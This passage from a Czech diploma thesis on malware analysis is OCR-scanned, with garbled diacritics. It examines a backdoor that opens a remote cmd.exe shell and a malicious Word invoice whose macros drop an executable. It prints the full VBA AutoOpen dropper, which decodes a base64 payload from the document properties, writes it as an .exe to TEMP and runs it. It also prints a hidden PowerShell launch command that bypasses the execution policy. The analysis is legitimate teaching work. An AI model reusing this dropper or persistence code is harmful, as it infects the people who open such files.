spousti novy proces s programem cmd.exe. Ten pak pfijima pfFikazy, které
pfichazi z uvedené adresy a vystup programu opét pfesmérovava na tuto adresu.
Dale je implementovana funkce ,cleanup®, ktera zajistuje ukon&eni procesu a

zavieni socketu. Takovato analyza koédu se sice fadi pod metody statické, ale
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vzhledem, k tomu, Ze kéd scriptu je Citelny, neni na Skodu jej timto zplsobem

proverit.

Uvedené sitové pfipojeni, které script zajiStuje, je mozné zobrazit pomoci

programu ,netstat®. Pouzity pfikaz je uveden na obrazku €. 36.

Bl Piikazovy fadek — O >

-ano

TENING

Obrazek ¢. 36 - Vystup programu "netstat"

Timto pfikazem byla zjisténa aktualni sitova pfipojeni a filtrovana ta s portem *666.
Z vypisu je vidét, Ze je zfejme, Ze spustény zkoumany soubor opravdu komunikuje
na adresu 192.168.1.31 a na port 666.

V hlavnim okné programu Process Monitor je jesté patrny proces
.powershell.exe“. V jeho vlastnostech, na obrazku €. 37, Ize vidét to, co uz bylo
zjisténo vySe pomoci krokl statické analyzy. Zde Ize tedy dynamickou metodou
potvrdit, Ze proces spousti powershellovy script z umisténi ,C:\Users\vahas\

AppData\Roaming\Microsoft\Update\WindowsUpdate.ps1“

# Event Properties - O x

é} Event & Process £ Stack

Image

E Windows PowerShell

Microsoft Corporation

MName: powershell.exe
Version:  10.0,19041.320 (WinBuild.160101.0800)

Path:
| CAWindows'\System32\WindowsPowerShell\w1.0\ powershell.exe |

Command Line:

| powershell -ep bypass -MoP -Mol -windowstyle hidden C\Users\vahas\AppData\Roaming\Microsoft\Update\WindowsUpdate.ps1 |

PID: 384 Architecture:  64-hit

Parent PID: 5152 Virtualized: False

Session Dt 1 Integrity: Mandatory Label\Stfedni p
Usen DESKTOP-PUTPBT Chwahas

Obrézek ¢. 37 - Vlastnosti procesu powershell.exe
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4.3.3. Zaveér analyzy
PfedloZzeny vzorek je pravdépodobné samorozbalovaci archiv, ktery po svém
spusténi vytvofi slozku ,Update“ v umisténi %APPDATA%\Microsoft\ rozbali do ni
3 soubory a spusti jeden z nich, konkrétné ,install.bat®. Ten zajisti persistenci pro
spousténi souboru ,SystemUpdate.bat” pfidanim hodnoty do kliCe registru
,HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run®.

Soubor ,SystemUpdate.bat* spousti posledni soubor ,WindowsSystem.ps1, coz
je powershellovy script. Ten vytvofi pfipojeni ke vzdalené adrese a pfijima z ni

pfrikazy, které vykonava prostfednictvim cmd.exe (viz schéma na obrazku ¢&. 38).

L

-
{ install.bat | \"‘

l Skype.exe H %APPDATA%\Microsoft\Update\ } SystemUpdate.bat I!
~| WmdowsUpdate psi L_

192.168.1.31:666

Obréazek ¢. 38 - Schéma zkoumaného vzorku

Pfedkladany vzorek je tedy jednoznac¢né obsahuje Skodlivy software typu
backdoor, ktery utoénikovi umoznuje vzdaleny pfistup a ovladani systému.

Pocditac¢ utocnika se nachazi ve vnitini siti na adrese 192.168.1.31.

4.4. Staticka analyza malwaru v dokumentu MS Office

V posledni ukazce bude pfedvedena analyza podezfelého dokumentu aplikace
MS Word. Cilem této ukazky je pfedvedeni toho, jaké postupy je mozné aplikovat

na obsazeny kod, za ucelem ztizeni jeho precteni, resp. jeho pochopeni.
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Pfedmétem analyzy je vzorek s nasledujicimi parametry:

e Nazev souboru: Faktura.docm
e Velikost souboru: 85.569 kB

e SHA256 Hash: d96dseb2f7e9c7f422cf29adf7314adc0e66f363f0f9605a7ff3402a229de6c8

Ve vlastnostech souboru bylo zjisténo datum jeho vytvoreni 08.03.2022.

Pfikazem ,file“ bylo zjisténo, Ze zkoumany soubor je typu Microsoft Word verze

2007 a novéjsi,viz obrazek ¢. 39.

kali@unknown: ~[Desktop

File Actions Edit View Help
- ~/Desktop]

Faktura.docm
Faktura.docm: Microsoft Word 2007+

— - ~/Desktop]

Obréazek ¢. 39 - Vysledek pfikazu "file"

Soubory kancelarského baliku MS Office pouzivaji format OLE tzv. strukturované
ulozisté nebo také slozeny binarni format soubort. Soubor OLE Ize povazovat za
miniaturni souborovy systém nebo archiv Zip, ktery obsahuje datové streamy,
které vypadaji jako soubory viozené do souboru OLE. Kazdy stream ma svuj
nazev. Napfiklad hlavni proud dokumentu MS Word obsahuijici jeho text se nazyva

.WordDocument“.

Soubor OLE m(iZe také obsahovat UloZisté (storages) . UlozZité je slozka, ktera
obsahuje streamy nebo jina ulozisté. Napfiklad dokument MS Word s makry VBA

ma ulozisté nazvané ,Makra“.

Specialni proudy mohou obsahovat vlastnosti. Vlastnost je specificka hodnota,
kterou Ize pouzit k uloZeni informaci, jako jsou metadata dokumentu (nazev, autor,

datum vytvoreni atd.).
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K analyze souboru tohoto formatu Ize pouzit volné dostupny script jazyka Python

s nazvem ,oledump.py” (viz ¢ast 3 Analytické nastroje).

K

kali@unknewn: ~/Desktop

File Actions Edit View Help

~/Desktop
oledump.py Faktura.docm
ject.bin
'PROJECT'
71 'PROJECTwm'
'VBA/NewMacros'

~fDesktop

Obrazek ¢&. 40 - Vystup scriptu "oledump.py"

Z vypisu na obrazku ¢&. 40, je patrné, Ze v ulozisti dokumentu s nazvem
,VBA/NewMacros“ se nachazi data (pravdépodobné& makra) o velikost 5.871 kB.
K zobrazeni obsahu tohoto ulozZisté je tfeba spoustét nastroj oledump.py

s parametrem ,-s A3 a ,-v“

kali@unknown: ~/Desktop

File Actions Edit View Help

~/Desktop
oledump.py Faktura.docm A3
Attribute VB_Name = "NewMacros"”
Public Declare PtrSafe Function system Lib "libc.dylib" (ByVal command As String) As Long

Sub AutoOpen()
On Error Resume Next
Dim found_value As String

For Each prop In ActiveDocument.BuiltInDocumentProperties
If prop.Name = "Comments" Then
found_value = Mid(prop.Value, 56)
orig_val = Base64Decode(found_value)
#If Mac Then
ExecuteFor0SX (orig_val)
#Else
ExecuteForWindows (orig_val)
#End If
Exit For
End If
Next
Sub

ExecuteForWindows(code)
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject”)
tmp_folder = fso.GetSpecialFolder(2)
tmp_name = tmp_folder + "\" + fso.GetTempName() + ".exe
Set f = fso.createTextFile(tmp_name)
f.write (code)
f.Close
CreateObject("WScript.Shell"”).Run (tmp_name)
End Sub

Obréazek ¢. 41 - Data obsazena ve "VBA/Macros"
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4.4.1. Reverzni inzenyrstvi obsahu makra
Z vypisu scriptu ,oledump.py“ Ize zjistit, Ze umisténi ,VBA/NewMacros* obsahuje
script VBS (viz obrazek €. 41), ktery se spousti po otevieni dokumentu (pokud
nejsou v aplikaci MS Word zakdzana makra). Script se nejdfive snazi zjistit
z aktivniho dokumentu obsah jeho vlastnosti a pokud je najde, uloZi obsah
vlastnosti od znaku na 56. pozici az do jeho konce do proménné ,found_val“. Tato
hodnota je ve vlastnostech ulozena zfejmé v podobé textového fetézce
zakodovaného pomoci Base64, nebot na proménnou ,found_val® se aplikuje
funkce ,Base64Decode” a dekodovany fetézec se poté ulozi do proménné

S nazvem ,orig_val".

Script poté ovéri, vjakém operacnim systému je spoustén, pokud pod MS
Windows, je volana funkce ,ExecuteForWindows®, které je pfedana hodnota
,orig_val“. Funkce ,ExecuteForOSX" funguje analogicky, pokud je script spoustén
pod MacOS X.

Funkce ,ExecuteForWindows" vytvofi v odkladacim adresafi aktualné
pfihladeného uzivatele (v % TEMP%) spustitelny soubor s pfiponou exe a ulozi do

néj obsah proménné ,original_val®. Poté je vysledny soubor spustén.

V obsahu scriptu se vSak nikde nenachazi uvedeny zakédovany fetézec. K jeho

nalezeni je potfeba rozbalit obsah souboru Faktura.docm.

Jelikoz je soubor ve formatu OLE, je mozné jej rozbalit pfikazem ,unzip

Faktura.docm®. Obsah souboru je patrny z obrdzku ¢&. 42:

Faktura_unzip
File Edit View Go Help
M A <« Akali W Deskiop Faktura_unzip
Places
B= Computer

B fali

1 Desktop customXml docProps

' Trash
= Documents

# Music [Content_Types].x
! Pictures ml

= Videos

@) Downloads

Devices

BB File Suctem 4 folders, 1 file: 1.8 KiB (1,793 bytes), Free space: 47.4 GiB

Obréazek ¢. 42 - Adresar s rozbalenym obsahem souboru Faktura.docm

59



Soubory s vlastnostmi dokumentu, ve kterych by mél byt ulozen zajmovy fetézec,

se nachazi v adresafri “docProps” (document properties).

Postupnym prohlizenim obsahu soubord, byl v souboru ,core.xml nalezen

hledany fetézec, olividné kédovany do Base64 (viz obrazek ¢&. 43).

= ~[Desktop/Faktura_unzip/docPropsfcorexml - Sublime Text (UNREGISTERED)

File Edit Selection Find View Goto Tools Project Preferences Help

4p iteml.xml

Obrazek ¢. 43 - Zakodovany retézec v souboru "core.xml"

Data, ktera se nachazela na radku €. 7 byla, od 56. pozice aZz do konce fadku,

ruéné zkopirovana a uloZzena do souboru ,payload.txt®.

Pfikazem na obrazku €. 44 bylo provedeno pfesmérovani vypisu obsahu souboru
»payload.txt“ na vstup programu ,base64“ spousténym s parametrem ,- -decode",
ktery provedl dekddovani fetézce a tento dekédovany vystup byl pfesmérovan do

souboru ,decoded_payload.exe®.
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E kali@unknown: ~/Desktop

File Actions Edit View Help
— ~/Desktop

—S% cat ~/Desktop/payload.txt : ! ~/Desktop/decoded pavload.exe

~/Desktop

Obréazek ¢. 44 - Dekodovani obsahu souboru "payload.txt”

Timto postupem byl nahrazen proces, ktery by po svém spusténi provedl VBS

script obsazeny v dokumentu.

Pfikazem ,file decoded_payload.exe” Ize ovéfit, Ze byl vytvofen spustitelny

soubor formatu PE32, pro operacni systémy MS Windows (viz obrazek €. 45).

o kali@unknown: ~/Desktop

File Actions Edit View Help
~/Desktop

— decoded pavload.exe
decoded_payload.exe: PE32 executable (GUI) Intel 80386, for MS Windows

~/Desktop

Obrazek ¢. 45 - Ovéreni formatu souboru "decoded_payload.exe"

K analyze tohoto souboru je mozné opét pouzit disassembler Ghidra. Po otevreni
souboru a jeho dekompilaci do vysSiho jazyka, bylo zjisténo, ze zdrojovy kod je
prakticky necitelny (viz Obrazek €. 46), zifejmé& z dlvodu pouziti néjakého anti-

analytického Feseni.

payload.exe INEFArEEE | antry - _payload.exe) 5
0o407fof 18 8b Sd SBB byte ptr [EEX + 0x33585a5d],CL & ns3 int in FS OFFSET:
S5a 56 33 r 14
00407f15 6 45 df e0 TEST byte ptr [EEF + local_25],0xed =| 15| thunk_FUN_00486bba () ;
00407f19 89 bd fe MoV dword ptr [ESP + EDT#0xS + Oxcds B| 16 | puvarS = *(undefinedd *#) (¢ (int *)(*(int *)(in_FS_OFFSET + 0x30) + Oxc) + 0x14);
89 31 e3 ¢4 7z do {
00407f20 05 8b fb ADD EAX, Oxe7afbBb =| ik uV 0;
7a Oe EE| [ic uv (uint)* (ushort *) ((int)puvars + 0x26);
00407f25 dd 45 o8 FLD gword ptr [EBF + paran_1] 20 pbvare = (byte *)puvarsiiol;
0040728 d9 ed FCHS 21 do {
00407f2a bb Sd o2 MoV EEX, 0x1c7085d E 22 bvarz = *phvare;
c7 0L [ if (*7' < (char)bvar2) {
00407f2f &1 POPAD E 124 bVar2 = bVar2 - 0x20;
0040730 ©0 00 ADD byte ptr [Eax], Al = 125 }
0040732 24 25 AND AL,0x25 .| 26 uvar7 = (uvar7 »>> Oxd | uvar7 << 0x13) + (uint)bvar2;
0040734 4d DEC 127 uva :
0040735 0c 8b OR 128 pbv
0040737 55 PUSH _004e1061 129 ¥ while
0040738 55 PUSH ~_004e105d =1 [30 iVarl arsl4]:
00407139 58 POP _004e105d = [ ivar3 t *#)Oe(int *) (Lvarl + O0x3c) + ivarl + 0x78);
00407f3a 45 INC 32 if (ivar = {
00407f3b ec IN AL,D 33 iva 3+ 1Varl;
00407f3c &1 51 LooPZ LAB_opdo7fef = | et uva t ¥} (ivars + ox18);
00407f3e 52 PUSH ED¥==DAT_0804e105d E Tl while ard 1= 0) {
00407f3f 28 15 18 SUB byte ptr [DAT 00402el8],0L | 36 uVard = uVard - 1;
7 ¥ 7 uvars = @

Obréazek ¢. 46 - Ukazka disassemblovaného kédu
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Soubor by bylo mozné zkoumat pomoci metod dynamické analyzy, aby bylo

zjisténo jeho chovani po spusténi.

Pro zajimavost byl soubor zkontrolovan alespori nastrojem VirusTotal. 52 z 68

dostupnych antivirovych nastroju jej vyhodnotila jako Skodlivy software typu trojsky

kan, jak je vidét z obrazku €. 47.

52

DETECTION

Acronis (Static ML)
AhnLab-V3
Arcabit

AVG

BitDefender
CAT-QuickHeal
Comeodo
Cybereason

Cynet

Obrazek ¢. 47 - Vysledek provérky nastrojem VirusTotal

_‘, 52 security vendors and no sandboxes flagged this file as malicious

148fd132a497282bd1c9dB66687c7a16a3f3738551556deca5b204dead 18b965

overlay  peexe

DETAILS

BEHAVIOR COMMUNITY

(D suspicious

(D Trojan/Win32.5hell.R1283

() Trojan.CryptZ.Gen

(D) Win32:SwPatch [Wrm]

‘\_; Trojan.CryptZ.Gen

(1) Trojan.Swrort.A

(1) Trojware Win32Rozena. A@4jwdqr
(1) Malicious.3f4a08

(D Malicious (score: 100)

4.4.2. Zavér analyzy

Ad-Aware

AlYac

Avast

Avira (no cloud)

BitDefenderTheta

ClamAV

CrowdStrike Falcon

Cylance

Cyren

72.07 KB 2022-03-1017:42m UTC

(1) Trojan.CryptZGen

(D Trojan.CryptZ.Gen

(D) Win32:SwPatch [Wrm]

(1) TRIPatched Gen2

(1) Gen:NN.ZexaF.34264.eq1@aBaxtHki

(1) WinTrojan.Swrort-5710536-0
linfmalicious_confidence_100% (D)

(D) Unsafe

V32/Swrort.A.gen!Eldorado

Z uvedenych zjisténi Ize vyvodit zavér, Ze predlozeny vzorek dat obsahuje

Skodlivy kéd. Jedna se o dokument aplikace Word, ktery po svém otevreni spusti

obsazena makra, ta zajisti vytvoreni spustitelného souboru s neznamym obsahem

v adresafi ,Temp“ aktualniho uzivatele.
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5. Zaver
Tématem této diplomové prace byla problematika analyzy malwaru. Jejim cilem
bylo pfiblizit nékteré pojmy z oblasti Skodlivého softwaru a vysvétlit principy jeho

analyzy a popsat pouzivané nastroje a metody.

V kapitole ,Zakladni pojmy“ této prace byly popsany kategorie, do kterych lIze
malware délit podle jejich charakteristickych vlastnosti a chovani, vcCetné
obvyklych zplsobl( Sifeni a distribuce. Byly popsany vybrané vektory
pocitacovych utokd, indikatory kompromitace systému, podle kterych je mozno
Zjistit, ze zafizeni je napadeno malwarem. Nakonec byl popsan vyznam

reverzniho inzenyrstvi pro analyzu malwaru.

DalS$i ¢ast byla zamérena vycCet a stru€ny popis pouzivanych analytickych nastroju,
byly probrany jejich moznosti, at uz se jednalo o jednostranné specializované
nastroje, celé analytické frameworky nebo specializované forenzné analytické

distribuce operacnich systému.

V kapitole 4. byl pfedstaveny dva zakladni analytické pFistupy k provérovani
malwaru. Byla popséna statickd metoda a uvedeny pfiklady, na co se by se mél
analytik zaméfit pfi extrahovani informaci ze zkoumaného vzorku dat. Dale byla
popsana metoda dynamicka, uvedeny divody a vyhody provadéni analyzy ve
virtualnich prostfedich a uvedeny monitorovacich nastroje, pouzivané pro

zachytavani aktivit malwaru.

Nakonec byly predvedeny Cd&tyfi praktické ukazky zkoumani ruznych druh(

malwaru za pouziti statického i dynamického pfistupu.

Pouzité zkoumané soubory jsou uloZzeny na CD (v souboru ,MALWARE.iso),

které tvofi pfilohou této prace.
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